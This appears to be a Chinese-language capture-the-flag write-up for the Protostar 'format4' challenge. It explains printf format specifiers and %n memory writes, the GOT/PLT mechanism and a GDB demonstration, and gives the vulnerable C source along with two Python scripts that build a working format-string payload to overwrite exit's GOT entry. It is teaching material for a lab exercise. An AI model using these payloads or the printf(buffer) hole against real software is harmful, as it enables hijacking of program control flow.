- %c:输出字符,配上%n可用于向指定地址写数据
- %d:输出十进制整数,配上%n可用于向指定地址写数据
- %x:输出16进制数据,如:%i$x 表示向泄露偏移i处4字节长的16进制数据,%i$lx表示泄露偏移i处8字节长的16进制数据,与环境无关。
- %p: 输出16进制数据,与%x类似,不同的是会加上0x,32位输出4字节长度,64位输出8字节长度,可用于判断环境。
- %s: 输出字符串,即将偏移处指针指向的字符串输出。例如%i$s,表示输出偏移位i处地址所指向的字符串,与环境无关。
- %n: 将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置。例如:%100x10$n表示将0x64(x表示16进制)写入偏移10处保存的指针所指向的地址(4字节)%$hn :写入空间为2字节,%$hhn:写入空间为1字节;%$lln:8字节。在32位和64位环境下都一样。
Proto start
format4
code :
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello(){
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln(){
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer); //fsb
exit(1);
}
int main(int argc, int **argv){
vuln();
}
0x01 GOT表和PLT表的关系
GOT是一个存储外部库函数的表
PLT则是由代码片段组成的,每个代码片段都跳转到GOT表中的一个具体的函数调用
函数第一次调用时,需要对动态函数进行地址解析和重定位
- 函数调用跳入到PLT表中;
- PLT表跳到GOT表中;
- 由GOT表回跳到PLT表中,这时候进行压栈,把代表函数的ID压栈;
- 跳转到公共的PLT表项中;
- 进入到GOT表中,然后_dl_runtime_resolve对动态函数进行地址解析和重定位,
- 把动态函数真实的地址写入到GOT表项中,然后执行函数并返回。
函数之后被调用:
- 由函数调用跳入PLT表
- 由PLT表跳入GOT表,这个时候该表项已经是动态函数的真实地址,然后执行
0x02 GDB调试
可以看到exit的GOT地址为 0x080483f2
查看hello的地址为 0x80484b4
可以看到,当程序还没有运行时,gdb无法修改GOT表中的地址;设置两个端点,分别在printf函数之前和之后,启动程序
在printf 之前的断点断下来,设置exit的GOT表的地址为hello的地址:set {int}0x8049724 = 0x80484b4
继续运行:
可以看到程序成功执行了Hello函数。但是,对于远程的函数,我们没办法直接修改地址,所以需要另外找一种方式。
0x03格式化字符串
查看源代码,发现存在格式化字符串漏洞,我们可以尝试利用格式化字符串进行地址修改。
首先,我们需要测试格式化字符串的偏移位置:
可以看出AAAA的偏移是4:
- %n$x 以十六进制输出偏移为n的值 (64位:%n$lx)
- %n$n 将打印字符的个数输入偏移位n的地址中
我们可以修改exp:
我们修改exp后,将数字输入到目标地址中,可以看到,字符个数变成了0x14
怎么样把目标地址的数据改成我们想改成的地址呢?
- 我们可以输入0x80484b4个数字,但是buffer的大小限制只有512位,所以否定
- 我们可以利用格式化字符串输出的例子:%5x :输出5个字节长;那么,我们就可以尝试输出0x80484b4个字符,但是,这样就会花费一堆时间,这种只是理论上可行
- 可以尝试分开输入,先输入低四个字节,再输入高四个字节
修改exp
import struct
HELLO = 0x80484b4
EXIT_GOT = 0x8049724
def pad(s):
return s+'X'*(512-len(s))
exploit = ""
exploit += struct.pack("I", EXIT_GOT)
exploit += struct.pack("I", EXIT_GOT+2)
exploit += "AAAABBBBCCCCDDDD"
exploit += "%33948x"
exploit += "%4$n"
exploit += "%x"
exploit += "%5$n"
print pad(exploit)
可以看到,地址后四位被成功修改了:
但是,前四位如何修改呢,这就需要用到溢出这个点,我们可以使用0x10804来代替0x804,其中最高位1会被溢出,就会留下0804
所以修改exp:
import struct
HELLO = 0x80484b4
EXIT_GOT = 0x8049724
def pad(s):
return s+'X'*(512-len(s))
exploit = ""
exploit += struct.pack("I", EXIT_GOT)
exploit += struct.pack("I", EXIT_GOT+2)
exploit += "AAAABBBBCCCCDDDD"
exploit += "%33948x"
exploit += "%4$n"
exploit += "%33616x"
exploit += "%5$n"
print pad(exploit)
0x04 总结
知识点:
- GOT表的修改
- 格式化字符串的修改
格式化字符串函数:
prinf
syslog
格式化字符串为了防止截断,还可以后置,只要找对位置就好